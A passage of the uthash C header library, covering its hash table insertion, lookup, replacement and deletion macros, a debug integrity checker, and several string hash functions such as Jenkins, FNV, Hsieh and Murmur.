workarounds. */ #if !defined(DECLTYPE) && !defined(NO_DECLTYPE) #if defined(_MSC_VER) /* MS compiler */ #if _MSC_VER >= 1600 && defined(__cplusplus) /* VS2010 or newer in C++ mode */ #define DECLTYPE(x) (decltype(x)) #else /* VS2008 or older (or VS2010 in C mode) */ #define NO_DECLTYPE #endif #elif defined(__BORLANDC__) || defined(__ICCARM__) || defined(__LCC__) || defined(__WATCOMC__) #define NO_DECLTYPE #else /* GNU, Sun and other compilers */ #define DECLTYPE(x) (__typeof(x)) #endif #endif #ifdef NO_DECLTYPE #define DECLTYPE(x) #define DECLTYPE_ASSIGN(dst,src) \ do { \ char **_da_dst = (char**)(&(dst)); \ *_da_dst = (char*)(src); \ } while (0) #else #define DECLTYPE_ASSIGN(dst,src) \ do { \ (dst) = DECLTYPE(dst)(src); \ } while (0) #endif /* a number of the hash function use uint32_t which isn't defined on Pre VS2010 */ #if defined(_WIN32) #if defined(_MSC_VER) && _MSC_VER >= 1600 #include #elif defined(__WATCOMC__) || defined(__MINGW32__) || defined(__CYGWIN__) #include #else typedef unsigned int uint32_t; typedef unsigned char uint8_t; #endif #elif defined(__GNUC__) && !defined(__VXWORKS__) #include #else typedef unsigned int uint32_t; typedef unsigned char uint8_t; #endif #ifndef uthash_malloc #define uthash_malloc(sz) malloc(sz) /* malloc fcn */ #endif #ifndef uthash_free #define uthash_free(ptr,sz) free(ptr) /* free fcn */ #endif #ifndef uthash_bzero #define uthash_bzero(a,n) memset(a,'\0',n) #endif #ifndef uthash_strlen #define uthash_strlen(s) strlen(s) #endif #ifdef uthash_memcmp /* This warning will not catch programs that define uthash_memcmp AFTER including uthash.h. */ #warning "uthash_memcmp is deprecated; please use HASH_KEYCMP instead" #else #define uthash_memcmp(a,b,n) memcmp(a,b,n) #endif #ifndef HASH_KEYCMP #define HASH_KEYCMP(a,b,n) uthash_memcmp(a,b,n) #endif #ifndef uthash_noexpand_fyi #define uthash_noexpand_fyi(tbl) /* can be defined to log noexpand */ #endif #ifndef uthash_expand_fyi #define uthash_expand_fyi(tbl) /* can be defined to log expands */ #endif #ifndef HASH_NONFATAL_OOM #define HASH_NONFATAL_OOM 0 #endif #if HASH_NONFATAL_OOM /* malloc failures can be recovered from */ #ifndef uthash_nonfatal_oom #define uthash_nonfatal_oom(obj) do {} while (0) /* non-fatal OOM error */ #endif #define HASH_RECORD_OOM(oomed) do { (oomed) = 1; } while (0) #define IF_HASH_NONFATAL_OOM(x) x #else /* malloc failures result in lost memory, hash tables are unusable */ #ifndef uthash_fatal #define uthash_fatal(msg) exit(-1) /* fatal OOM error */ #endif #define HASH_RECORD_OOM(oomed) uthash_fatal("out of memory") #define IF_HASH_NONFATAL_OOM(x) #endif /* initial number of buckets */ #define HASH_INITIAL_NUM_BUCKETS 32U /* initial number of buckets */ #define HASH_INITIAL_NUM_BUCKETS_LOG2 5U /* lg2 of initial number of buckets */ #define HASH_BKT_CAPACITY_THRESH 10U /* expand when bucket count reaches */ /* calculate the element whose hash handle address is hhp */ #define ELMT_FROM_HH(tbl,hhp) ((void*)(((char*)(hhp)) - ((tbl)->hho))) /* calculate the hash handle from element address elp */ #define HH_FROM_ELMT(tbl,elp) ((UT_hash_handle *)(((char*)(elp)) + ((tbl)->hho))) #define HASH_ROLLBACK_BKT(hh, head, itemptrhh) \ do { \ struct UT_hash_handle *_hd_hh_item = (itemptrhh); \ unsigned _hd_bkt; \ HASH_TO_BKT(_hd_hh_item->hashv, (head)->hh.tbl->num_buckets, _hd_bkt); \ (head)->hh.tbl->buckets[_hd_bkt].count++; \ _hd_hh_item->hh_next = NULL; \ _hd_hh_item->hh_prev = NULL; \ } while (0) #define HASH_VALUE(keyptr,keylen,hashv) \ do { \ HASH_FCN(keyptr, keylen, hashv); \ } while (0) #define HASH_FIND_BYHASHVALUE(hh,head,keyptr,keylen,hashval,out) \ do { \ (out) = NULL; \ if (head) { \ unsigned _hf_bkt; \ HASH_TO_BKT(hashval, (head)->hh.tbl->num_buckets, _hf_bkt); \ if (HASH_BLOOM_TEST((head)->hh.tbl, hashval) != 0) { \ HASH_FIND_IN_BKT((head)->hh.tbl, hh, (head)->hh.tbl->buckets[ _hf_bkt ], keyptr, keylen, hashval, out); \ } \ } \ } while (0) #define HASH_FIND(hh,head,keyptr,keylen,out) \ do { \ (out) = NULL; \ if (head) { \ unsigned _hf_hashv; \ HASH_VALUE(keyptr, keylen, _hf_hashv); \ HASH_FIND_BYHASHVALUE(hh, head, keyptr, keylen, _hf_hashv, out); \ } \ } while (0) #ifdef HASH_BLOOM #define HASH_BLOOM_BITLEN (1UL << HASH_BLOOM) #define HASH_BLOOM_BYTELEN (HASH_BLOOM_BITLEN/8UL) + (((HASH_BLOOM_BITLEN%8UL)!=0UL) ? 1UL : 0UL) #define HASH_BLOOM_MAKE(tbl,oomed) \ do { \ (tbl)->bloom_nbits = HASH_BLOOM; \ (tbl)->bloom_bv = (uint8_t*)uthash_malloc(HASH_BLOOM_BYTELEN); \ if (!(tbl)->bloom_bv) { \ HASH_RECORD_OOM(oomed); \ } else { \ uthash_bzero((tbl)->bloom_bv, HASH_BLOOM_BYTELEN); \ (tbl)->bloom_sig = HASH_BLOOM_SIGNATURE; \ } \ } while (0) #define HASH_BLOOM_FREE(tbl) \ do { \ uthash_free((tbl)->bloom_bv, HASH_BLOOM_BYTELEN); \ } while (0) #define HASH_BLOOM_BITSET(bv,idx) (bv[(idx)/8U] |= (1U << ((idx)%8U))) #define HASH_BLOOM_BITTEST(bv,idx) (bv[(idx)/8U] & (1U << ((idx)%8U))) #define HASH_BLOOM_ADD(tbl,hashv) \ HASH_BLOOM_BITSET((tbl)->bloom_bv, ((hashv) & (uint32_t)((1UL << (tbl)->bloom_nbits) - 1U))) #define HASH_BLOOM_TEST(tbl,hashv) \ HASH_BLOOM_BITTEST((tbl)->bloom_bv, ((hashv) & (uint32_t)((1UL << (tbl)->bloom_nbits) - 1U))) #else #define HASH_BLOOM_MAKE(tbl,oomed) #define HASH_BLOOM_FREE(tbl) #define HASH_BLOOM_ADD(tbl,hashv) #define HASH_BLOOM_TEST(tbl,hashv) (1) #define HASH_BLOOM_BYTELEN 0U #endif #define HASH_MAKE_TABLE(hh,head,oomed) \ do { \ (head)->hh.tbl = (UT_hash_table*)uthash_malloc(sizeof(UT_hash_table)); \ if (!(head)->hh.tbl) { \ HASH_RECORD_OOM(oomed); \ } else { \ uthash_bzero((head)->hh.tbl, sizeof(UT_hash_table)); \ (head)->hh.tbl->tail = &((head)->hh); \ (head)->hh.tbl->num_buckets = HASH_INITIAL_NUM_BUCKETS; \ (head)->hh.tbl->log2_num_buckets = HASH_INITIAL_NUM_BUCKETS_LOG2; \ (head)->hh.tbl->hho = (char*)(&(head)->hh) - (char*)(head); \ (head)->hh.tbl->buckets = (UT_hash_bucket*)uthash_malloc( \ HASH_INITIAL_NUM_BUCKETS * sizeof(struct UT_hash_bucket)); \ (head)->hh.tbl->signature = HASH_SIGNATURE; \ if (!(head)->hh.tbl->buckets) { \ HASH_RECORD_OOM(oomed); \ uthash_free((head)->hh.tbl, sizeof(UT_hash_table)); \ } else { \ uthash_bzero((head)->hh.tbl->buckets, \ HASH_INITIAL_NUM_BUCKETS * sizeof(struct UT_hash_bucket)); \ HASH_BLOOM_MAKE((head)->hh.tbl, oomed); \ IF_HASH_NONFATAL_OOM( \ if (oomed) { \ uthash_free((head)->hh.tbl->buckets, \ HASH_INITIAL_NUM_BUCKETS*sizeof(struct UT_hash_bucket)); \ uthash_free((head)->hh.tbl, sizeof(UT_hash_table)); \ } \ ) \ } \ } \ } while (0) #define HASH_REPLACE_BYHASHVALUE_INORDER(hh,head,fieldname,keylen_in,hashval,add,replaced,cmpfcn) \ do { \ (replaced) = NULL; \ HASH_FIND_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, replaced); \ if (replaced) { \ HASH_DELETE(hh, head, replaced); \ } \ HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh, head, &((add)->fieldname), keylen_in, hashval, add, cmpfcn); \ } while (0) #define HASH_REPLACE_BYHASHVALUE(hh,head,fieldname,keylen_in,hashval,add,replaced) \ do { \ (replaced) = NULL; \ HASH_FIND_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, replaced); \ if (replaced) { \ HASH_DELETE(hh, head, replaced); \ } \ HASH_ADD_KEYPTR_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, add); \ } while (0) #define HASH_REPLACE(hh,head,fieldname,keylen_in,add,replaced) \ do { \ unsigned _hr_hashv; \ HASH_VALUE(&((add)->fieldname), keylen_in, _hr_hashv); \ HASH_REPLACE_BYHASHVALUE(hh, head, fieldname, keylen_in, _hr_hashv, add, replaced); \ } while (0) #define HASH_REPLACE_INORDER(hh,head,fieldname,keylen_in,add,replaced,cmpfcn) \ do { \ unsigned _hr_hashv; \ HASH_VALUE(&((add)->fieldname), keylen_in, _hr_hashv); \ HASH_REPLACE_BYHASHVALUE_INORDER(hh, head, fieldname, keylen_in, _hr_hashv, add, replaced, cmpfcn); \ } while (0) #define HASH_APPEND_LIST(hh, head, add) \ do { \ (add)->hh.next = NULL; \ (add)->hh.prev = ELMT_FROM_HH((head)->hh.tbl, (head)->hh.tbl->tail); \ (head)->hh.tbl->tail->next = (add); \ (head)->hh.tbl->tail = &((add)->hh); \ } while (0) #define HASH_AKBI_INNER_LOOP(hh,head,add,cmpfcn) \ do { \ do { \ if (cmpfcn(DECLTYPE(head)(_hs_iter), add) > 0) { \ break; \ } \ } while ((_hs_iter = HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->next)); \ } while (0) #ifdef NO_DECLTYPE #undef HASH_AKBI_INNER_LOOP #define HASH_AKBI_INNER_LOOP(hh,head,add,cmpfcn) \ do { \ char *_hs_saved_head = (char*)(head); \ do { \ DECLTYPE_ASSIGN(head, _hs_iter); \ if (cmpfcn(head, add) > 0) { \ DECLTYPE_ASSIGN(head, _hs_saved_head); \ break; \ } \ DECLTYPE_ASSIGN(head, _hs_saved_head); \ } while ((_hs_iter = HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->next)); \ } while (0) #endif #if HASH_NONFATAL_OOM #define HASH_ADD_TO_TABLE(hh,head,keyptr,keylen_in,hashval,add,oomed) \ do { \ if (!(oomed)) { \ unsigned _ha_bkt; \ (head)->hh.tbl->num_items++; \ HASH_TO_BKT(hashval, (head)->hh.tbl->num_buckets, _ha_bkt); \ HASH_ADD_TO_BKT((head)->hh.tbl->buckets[_ha_bkt], hh, &(add)->hh, oomed); \ if (oomed) { \ HASH_ROLLBACK_BKT(hh, head, &(add)->hh); \ HASH_DELETE_HH(hh, head, &(add)->hh); \ (add)->hh.tbl = NULL; \ uthash_nonfatal_oom(add); \ } else { \ HASH_BLOOM_ADD((head)->hh.tbl, hashval); \ HASH_EMIT_KEY(hh, head, keyptr, keylen_in); \ } \ } else { \ (add)->hh.tbl = NULL; \ uthash_nonfatal_oom(add); \ } \ } while (0) #else #define HASH_ADD_TO_TABLE(hh,head,keyptr,keylen_in,hashval,add,oomed) \ do { \ unsigned _ha_bkt; \ (head)->hh.tbl->num_items++; \ HASH_TO_BKT(hashval, (head)->hh.tbl->num_buckets, _ha_bkt); \ HASH_ADD_TO_BKT((head)->hh.tbl->buckets[_ha_bkt], hh, &(add)->hh, oomed); \ HASH_BLOOM_ADD((head)->hh.tbl, hashval); \ HASH_EMIT_KEY(hh, head, keyptr, keylen_in); \ } while (0) #endif #define HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh,head,keyptr,keylen_in,hashval,add,cmpfcn) \ do { \ IF_HASH_NONFATAL_OOM( int _ha_oomed = 0; ) \ (add)->hh.hashv = (hashval); \ (add)->hh.key = (char*) (keyptr); \ (add)->hh.keylen = (unsigned) (keylen_in); \ if (!(head)) { \ (add)->hh.next = NULL; \ (add)->hh.prev = NULL; \ HASH_MAKE_TABLE(hh, add, _ha_oomed); \ IF_HASH_NONFATAL_OOM( if (!_ha_oomed) { ) \ (head) = (add); \ IF_HASH_NONFATAL_OOM( } ) \ } else { \ void *_hs_iter = (head); \ (add)->hh.tbl = (head)->hh.tbl; \ HASH_AKBI_INNER_LOOP(hh, head, add, cmpfcn); \ if (_hs_iter) { \ (add)->hh.next = _hs_iter; \ if (((add)->hh.prev = HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->prev)) { \ HH_FROM_ELMT((head)->hh.tbl, (add)->hh.prev)->next = (add); \ } else { \ (head) = (add); \ } \ HH_FROM_ELMT((head)->hh.tbl, _hs_iter)->prev = (add); \ } else { \ HASH_APPEND_LIST(hh, head, add); \ } \ } \ HASH_ADD_TO_TABLE(hh, head, keyptr, keylen_in, hashval, add, _ha_oomed); \ HASH_FSCK(hh, head, "HASH_ADD_KEYPTR_BYHASHVALUE_INORDER"); \ } while (0) #define HASH_ADD_KEYPTR_INORDER(hh,head,keyptr,keylen_in,add,cmpfcn) \ do { \ unsigned _hs_hashv; \ HASH_VALUE(keyptr, keylen_in, _hs_hashv); \ HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh, head, keyptr, keylen_in, _hs_hashv, add, cmpfcn); \ } while (0) #define HASH_ADD_BYHASHVALUE_INORDER(hh,head,fieldname,keylen_in,hashval,add,cmpfcn) \ HASH_ADD_KEYPTR_BYHASHVALUE_INORDER(hh, head, &((add)->fieldname), keylen_in, hashval, add, cmpfcn) #define HASH_ADD_INORDER(hh,head,fieldname,keylen_in,add,cmpfcn) \ HASH_ADD_KEYPTR_INORDER(hh, head, &((add)->fieldname), keylen_in, add, cmpfcn) #define HASH_ADD_KEYPTR_BYHASHVALUE(hh,head,keyptr,keylen_in,hashval,add) \ do { \ IF_HASH_NONFATAL_OOM( int _ha_oomed = 0; ) \ (add)->hh.hashv = (hashval); \ (add)->hh.key = (char*) (keyptr); \ (add)->hh.keylen = (unsigned) (keylen_in); \ if (!(head)) { \ (add)->hh.next = NULL; \ (add)->hh.prev = NULL; \ HASH_MAKE_TABLE(hh, add, _ha_oomed); \ IF_HASH_NONFATAL_OOM( if (!_ha_oomed) { ) \ (head) = (add); \ IF_HASH_NONFATAL_OOM( } ) \ } else { \ (add)->hh.tbl = (head)->hh.tbl; \ HASH_APPEND_LIST(hh, head, add); \ } \ HASH_ADD_TO_TABLE(hh, head, keyptr, keylen_in, hashval, add, _ha_oomed); \ HASH_FSCK(hh, head, "HASH_ADD_KEYPTR_BYHASHVALUE"); \ } while (0) #define HASH_ADD_KEYPTR(hh,head,keyptr,keylen_in,add) \ do { \ unsigned _ha_hashv; \ HASH_VALUE(keyptr, keylen_in, _ha_hashv); \ HASH_ADD_KEYPTR_BYHASHVALUE(hh, head, keyptr, keylen_in, _ha_hashv, add); \ } while (0) #define HASH_ADD_BYHASHVALUE(hh,head,fieldname,keylen_in,hashval,add) \ HASH_ADD_KEYPTR_BYHASHVALUE(hh, head, &((add)->fieldname), keylen_in, hashval, add) #define HASH_ADD(hh,head,fieldname,keylen_in,add) \ HASH_ADD_KEYPTR(hh, head, &((add)->fieldname), keylen_in, add) #define HASH_TO_BKT(hashv,num_bkts,bkt) \ do { \ bkt = ((hashv) & ((num_bkts) - 1U)); \ } while (0) /* delete "delptr" from the hash table. * "the usual" patch-up process for the app-order doubly-linked-list. * The use of _hd_hh_del below deserves special explanation. * These used to be expressed using (delptr) but that led to a bug * if someone used the same symbol for the head and deletee, like * HASH_DELETE(hh,users,users); * We want that to work, but by changing the head (users) below * we were forfeiting our ability to further refer to the deletee (users) * in the patch-up process. Solution: use scratch space to * copy the deletee pointer, then the latter references are via that * scratch pointer rather than through the repointed (users) symbol. */ #define HASH_DELETE(hh,head,delptr) \ HASH_DELETE_HH(hh, head, &(delptr)->hh) #define HASH_DELETE_HH(hh,head,delptrhh) \ do { \ struct UT_hash_handle *_hd_hh_del = (delptrhh); \ if ((_hd_hh_del->prev == NULL) && (_hd_hh_del->next == NULL)) { \ HASH_BLOOM_FREE((head)->hh.tbl); \ uthash_free((head)->hh.tbl->buckets, \ (head)->hh.tbl->num_buckets * sizeof(struct UT_hash_bucket)); \ uthash_free((head)->hh.tbl, sizeof(UT_hash_table)); \ (head) = NULL; \ } else { \ unsigned _hd_bkt; \ if (_hd_hh_del == (head)->hh.tbl->tail) { \ (head)->hh.tbl->tail = HH_FROM_ELMT((head)->hh.tbl, _hd_hh_del->prev); \ } \ if (_hd_hh_del->prev != NULL) { \ HH_FROM_ELMT((head)->hh.tbl, _hd_hh_del->prev)->next = _hd_hh_del->next; \ } else { \ DECLTYPE_ASSIGN(head, _hd_hh_del->next); \ } \ if (_hd_hh_del->next != NULL) { \ HH_FROM_ELMT((head)->hh.tbl, _hd_hh_del->next)->prev = _hd_hh_del->prev; \ } \ HASH_TO_BKT(_hd_hh_del->hashv, (head)->hh.tbl->num_buckets, _hd_bkt); \ HASH_DEL_IN_BKT((head)->hh.tbl->buckets[_hd_bkt], _hd_hh_del); \ (head)->hh.tbl->num_items--; \ } \ HASH_FSCK(hh, head, "HASH_DELETE_HH"); \ } while (0) /* convenience forms of HASH_FIND/HASH_ADD/HASH_DEL */ #define HASH_FIND_STR(head,findstr,out) \ do { \ unsigned _uthash_hfstr_keylen = (unsigned)uthash_strlen(findstr); \ HASH_FIND(hh, head, findstr, _uthash_hfstr_keylen, out); \ } while (0) #define HASH_ADD_STR(head,strfield,add) \ do { \ unsigned _uthash_hastr_keylen = (unsigned)uthash_strlen((add)->strfield); \ HASH_ADD(hh, head, strfield[0], _uthash_hastr_keylen, add); \ } while (0) #define HASH_REPLACE_STR(head,strfield,add,replaced) \ do { \ unsigned _uthash_hrstr_keylen = (unsigned)uthash_strlen((add)->strfield); \ HASH_REPLACE(hh, head, strfield[0], _uthash_hrstr_keylen, add, replaced); \ } while (0) #define HASH_FIND_INT(head,findint,out) \ HASH_FIND(hh,head,findint,sizeof(int),out) #define HASH_ADD_INT(head,intfield,add) \ HASH_ADD(hh,head,intfield,sizeof(int),add) #define HASH_REPLACE_INT(head,intfield,add,replaced) \ HASH_REPLACE(hh,head,intfield,sizeof(int),add,replaced) #define HASH_FIND_PTR(head,findptr,out) \ HASH_FIND(hh,head,findptr,sizeof(void *),out) #define HASH_ADD_PTR(head,ptrfield,add) \ HASH_ADD(hh,head,ptrfield,sizeof(void *),add) #define HASH_REPLACE_PTR(head,ptrfield,add,replaced) \ HASH_REPLACE(hh,head,ptrfield,sizeof(void *),add,replaced) #define HASH_DEL(head,delptr) \ HASH_DELETE(hh,head,delptr) /* HASH_FSCK checks hash integrity on every add/delete when HASH_DEBUG is defined. * This is for uthash developer only; it compiles away if HASH_DEBUG isn't defined. */ #ifdef HASH_DEBUG #define HASH_OOPS(...) do { fprintf(stderr,__VA_ARGS__); exit(-1); } while (0) #define HASH_FSCK(hh,head,where) \ do { \ struct UT_hash_handle *_thh; \ if (head) { \ unsigned _bkt_i; \ unsigned _count = 0; \ char *_prev; \ for (_bkt_i = 0; _bkt_i < (head)->hh.tbl->num_buckets; ++_bkt_i) { \ unsigned _bkt_count = 0; \ _thh = (head)->hh.tbl->buckets[_bkt_i].hh_head; \ _prev = NULL; \ while (_thh) { \ if (_prev != (char*)(_thh->hh_prev)) { \ HASH_OOPS("%s: invalid hh_prev %p, actual %p\n", \ (where), (void*)_thh->hh_prev, (void*)_prev); \ } \ _bkt_count++; \ _prev = (char*)(_thh); \ _thh = _thh->hh_next; \ } \ _count += _bkt_count; \ if ((head)->hh.tbl->buckets[_bkt_i].count != _bkt_count) { \ HASH_OOPS("%s: invalid bucket count %u, actual %u\n", \ (where), (head)->hh.tbl->buckets[_bkt_i].count, _bkt_count); \ } \ } \ if (_count != (head)->hh.tbl->num_items) { \ HASH_OOPS("%s: invalid hh item count %u, actual %u\n", \ (where), (head)->hh.tbl->num_items, _count); \ } \ _count = 0; \ _prev = NULL; \ _thh = &(head)->hh; \ while (_thh) { \ _count++; \ if (_prev != (char*)_thh->prev) { \ HASH_OOPS("%s: invalid prev %p, actual %p\n", \ (where), (void*)_thh->prev, (void*)_prev); \ } \ _prev = (char*)ELMT_FROM_HH((head)->hh.tbl, _thh); \ _thh = (_thh->next ? HH_FROM_ELMT((head)->hh.tbl, _thh->next) : NULL); \ } \ if (_count != (head)->hh.tbl->num_items) { \ HASH_OOPS("%s: invalid app item count %u, actual %u\n", \ (where), (head)->hh.tbl->num_items, _count); \ } \ } \ } while (0) #else #define HASH_FSCK(hh,head,where) #endif /* When compiled with -DHASH_EMIT_KEYS, length-prefixed keys are emitted to * the descriptor to which this macro is defined for tuning the hash function. * The app can #include to get the prototype for write(2). */ #ifdef HASH_EMIT_KEYS #define HASH_EMIT_KEY(hh,head,keyptr,fieldlen) \ do { \ unsigned _klen = fieldlen; \ write(HASH_EMIT_KEYS, &_klen, sizeof(_klen)); \ write(HASH_EMIT_KEYS, keyptr, (unsigned long)fieldlen); \ } while (0) #else #define HASH_EMIT_KEY(hh,head,keyptr,fieldlen) #endif /* default to Jenkin's hash unless overridden e.g. DHASH_FUNCTION=HASH_SAX */ #ifdef HASH_FUNCTION #define HASH_FCN HASH_FUNCTION #else #define HASH_FCN HASH_JEN #endif /* The Bernstein hash function, used in Perl prior to v5.6. Note (x<<5+x)=x*33. */ #define HASH_BER(key,keylen,hashv) \ do { \ unsigned _hb_keylen = (unsigned)keylen; \ const unsigned char *_hb_key = (const unsigned char*)(key); \ (hashv) = 0; \ while (_hb_keylen-- != 0U) { \ (hashv) = (((hashv) << 5) + (hashv)) + *_hb_key++; \ } \ } while (0) /* SAX/FNV/OAT/JEN hash functions are macro variants of those listed at * http://eternallyconfuzzled.com/tuts/algorithms/jsw_tut_hashing.aspx */ #define HASH_SAX(key,keylen,hashv) \ do { \ unsigned _sx_i; \ const unsigned char *_hs_key = (const unsigned char*)(key); \ hashv = 0; \ for (_sx_i=0; _sx_i < keylen; _sx_i++) { \ hashv ^= (hashv << 5) + (hashv >> 2) + _hs_key[_sx_i]; \ } \ } while (0) /* FNV-1a variation */ #define HASH_FNV(key,keylen,hashv) \ do { \ unsigned _fn_i; \ const unsigned char *_hf_key = (const unsigned char*)(key); \ (hashv) = 2166136261U; \ for (_fn_i=0; _fn_i < keylen; _fn_i++) { \ hashv = hashv ^ _hf_key[_fn_i]; \ hashv = hashv * 16777619U; \ } \ } while (0) #define HASH_OAT(key,keylen,hashv) \ do { \ unsigned _ho_i; \ const unsigned char *_ho_key=(const unsigned char*)(key); \ hashv = 0; \ for(_ho_i=0; _ho_i < keylen; _ho_i++) { \ hashv += _ho_key[_ho_i]; \ hashv += (hashv << 10); \ hashv ^= (hashv >> 6); \ } \ hashv += (hashv << 3); \ hashv ^= (hashv >> 11); \ hashv += (hashv << 15); \ } while (0) #define HASH_JEN_MIX(a,b,c) \ do { \ a -= b; a -= c; a ^= ( c >> 13 ); \ b -= c; b -= a; b ^= ( a << 8 ); \ c -= a; c -= b; c ^= ( b >> 13 ); \ a -= b; a -= c; a ^= ( c >> 12 ); \ b -= c; b -= a; b ^= ( a << 16 ); \ c -= a; c -= b; c ^= ( b >> 5 ); \ a -= b; a -= c; a ^= ( c >> 3 ); \ b -= c; b -= a; b ^= ( a << 10 ); \ c -= a; c -= b; c ^= ( b >> 15 ); \ } while (0) #define HASH_JEN(key,keylen,hashv) \ do { \ unsigned _hj_i,_hj_j,_hj_k; \ unsigned const char *_hj_key=(unsigned const char*)(key); \ hashv = 0xfeedbeefu; \ _hj_i = _hj_j = 0x9e3779b9u; \ _hj_k = (unsigned)(keylen); \ while (_hj_k >= 12U) { \ _hj_i += (_hj_key[0] + ( (unsigned)_hj_key[1] << 8 ) \ + ( (unsigned)_hj_key[2] << 16 ) \ + ( (unsigned)_hj_key[3] << 24 ) ); \ _hj_j += (_hj_key[4] + ( (unsigned)_hj_key[5] << 8 ) \ + ( (unsigned)_hj_key[6] << 16 ) \ + ( (unsigned)_hj_key[7] << 24 ) ); \ hashv += (_hj_key[8] + ( (unsigned)_hj_key[9] << 8 ) \ + ( (unsigned)_hj_key[10] << 16 ) \ + ( (unsigned)_hj_key[11] << 24 ) ); \ \ HASH_JEN_MIX(_hj_i, _hj_j, hashv); \ \ _hj_key += 12; \ _hj_k -= 12U; \ } \ hashv += (unsigned)(keylen); \ switch ( _hj_k ) { \ case 11: hashv += ( (unsigned)_hj_key[10] << 24 ); /* FALLTHROUGH */ \ case 10: hashv += ( (unsigned)_hj_key[9] << 16 ); /* FALLTHROUGH */ \ case 9: hashv += ( (unsigned)_hj_key[8] << 8 ); /* FALLTHROUGH */ \ case 8: _hj_j += ( (unsigned)_hj_key[7] << 24 ); /* FALLTHROUGH */ \ case 7: _hj_j += ( (unsigned)_hj_key[6] << 16 ); /* FALLTHROUGH */ \ case 6: _hj_j += ( (unsigned)_hj_key[5] << 8 ); /* FALLTHROUGH */ \ case 5: _hj_j += _hj_key[4]; /* FALLTHROUGH */ \ case 4: _hj_i += ( (unsigned)_hj_key[3] << 24 ); /* FALLTHROUGH */ \ case 3: _hj_i += ( (unsigned)_hj_key[2] << 16 ); /* FALLTHROUGH */ \ case 2: _hj_i += ( (unsigned)_hj_key[1] << 8 ); /* FALLTHROUGH */ \ case 1: _hj_i += _hj_key[0]; \ } \ HASH_JEN_MIX(_hj_i, _hj_j, hashv); \ } while (0) /* The Paul Hsieh hash function */ #undef get16bits #if (defined(__GNUC__) && defined(__i386__)) || defined(__WATCOMC__) \ || defined(_MSC_VER) || defined (__BORLANDC__) || defined (__TURBOC__) #define get16bits(d) (*((const uint16_t *) (d))) #endif #if !defined (get16bits) #define get16bits(d) ((((uint32_t)(((const uint8_t *)(d))[1])) << 8) \ +(uint32_t)(((const uint8_t *)(d))[0]) ) #endif #define HASH_SFH(key,keylen,hashv) \ do { \ unsigned const char *_sfh_key=(unsigned const char*)(key); \ uint32_t _sfh_tmp, _sfh_len = (uint32_t)keylen; \ \ unsigned _sfh_rem = _sfh_len & 3U; \ _sfh_len >>= 2; \ hashv = 0xcafebabeu; \ \ /* Main loop */ \ for (;_sfh_len > 0U; _sfh_len--) { \ hashv += get16bits (_sfh_key); \ _sfh_tmp = ((uint32_t)(get16bits (_sfh_key+2)) << 11) ^ hashv; \ hashv = (hashv << 16) ^ _sfh_tmp; \ _sfh_key += 2U*sizeof (uint16_t); \ hashv += hashv >> 11; \ } \ \ /* Handle end cases */ \ switch (_sfh_rem) { \ case 3: hashv += get16bits (_sfh_key); \ hashv ^= hashv << 16; \ hashv ^= (uint32_t)(_sfh_key[sizeof (uint16_t)]) << 18; \ hashv += hashv >> 11; \ break; \ case 2: hashv += get16bits (_sfh_key); \ hashv ^= hashv << 11; \ hashv += hashv >> 17; \ break; \ case 1: hashv += *_sfh_key; \ hashv ^= hashv << 10; \ hashv += hashv >> 1; \ } \ \ /* Force "avalanching" of final 127 bits */ \ hashv ^= hashv << 3; \ hashv += hashv >> 5; \ hashv ^= hashv << 4; \ hashv += hashv >> 17; \ hashv ^= hashv << 25; \ hashv += hashv >> 6; \ } while (0) #ifdef HASH_USING_NO_STRICT_ALIASING /* The MurmurHash exploits some CPU's (x86,x86_64) tolerance for unaligned reads. * For other types of CPU's (e.g. Sparc) an unaligned read causes a bus error. * MurmurHash uses the faster approach only on CPU's where we know it's safe. * * Note the preprocessor built-in defines can be emitted using: * * gcc -m64 -dM -E - < /dev/null (on gcc) * cc -## a.c (where a.c is a simple test file) (Sun Studio) */ #if (defined(__i386__) || defined(__x86_64__) || defined(_M_IX86)) #define MUR_GETBLOCK(p,i) p[i] #else /* non intel */ #define MUR_PLUS0_ALIGNED(p) (((unsigned long)p & 3UL) == 0UL) #define MUR_PLUS1_ALIGNED(p) (((unsigned long)p & 3UL) == 1UL) #define MUR_PLUS2_ALIGNED(p) (((unsigned long)p & 3UL) == 2UL) #define MUR_PLUS3_ALIGNED(p) (((unsigned long)p & 3UL) == 3UL) #define WP(p) ((uint32_t*)((unsigned long)(p) & ~3UL)) #if (defined(__BIG_ENDIAN__) || defined(SPARC) || defined(__ppc__) || defined(__ppc64__)) #define MUR_THREE_ONE(p) ((((*WP(p))&0x00ffffff) << 8) | (((*(WP(p)+1))&0xff000000) >> 24)) #define MUR_TWO_TWO(p) ((((*WP(p))&0x0000ffff) <<16) | (((*(WP(p)+1))&0xffff0000) >> 16)) #define MUR_ONE_THREE(p) ((((*WP(p))&0x000000ff) <<24) | (((*(WP(p)+1))&0xffffff00) >> 8)) #else /* assume little endian non-intel */ #define MUR_THREE_ONE(p) ((((*WP(p))&0xffffff00) >> 8) | (((*(WP(p)+1))&0x000000ff) << 24)) #define MUR_TWO_TWO(p) ((((*WP(p))&0xffff0000) >>16) | (((*(WP(p)+1))&0x0000ffff) << 16)) #define MUR_ONE_THREE(p) ((((*WP(p))&0xff000000) >>24) | (((*(WP(p)+1))&0x00ffffff) << 8)) #endif #define MUR_GETBLOCK(p,i) (MUR_PLUS0_ALIGNED(p) ? ((p)[i]) : \ (MUR_PLUS1_ALIGNED(p) ? MUR_THREE_ONE(p) : \ (MUR_PLUS2_ALIGNED(p) ? MUR_TWO_TWO(p) : \ MUR_ONE_THREE(p)))) #endif #define MUR_ROTL32(x,r) (((x) << (r)) | ((x) >> (32 - (r)))) #define MUR_FMIX(_h) \ do { \ _h ^= _h >> 16; \ _h *= 0x85ebca6bu; \ _h ^= _h >> 13; \ _h *= 0xc2b2ae35u; \ _h ^= _h >> 16; \ } while (0) #define HASH_MUR(key,keylen,hashv) \ do { \ const uint8_t *_mur_data = (const uint8_t*)(key); \ const int _mur_nblocks = (int)(keylen) / 4; \ uint32_t _mur_h1 = 0xf88D5353u; \ uint32_t _mur_c1 = 0xcc9e2d51u; \ uint32_t _mur_c2 = 0x1b873593u; 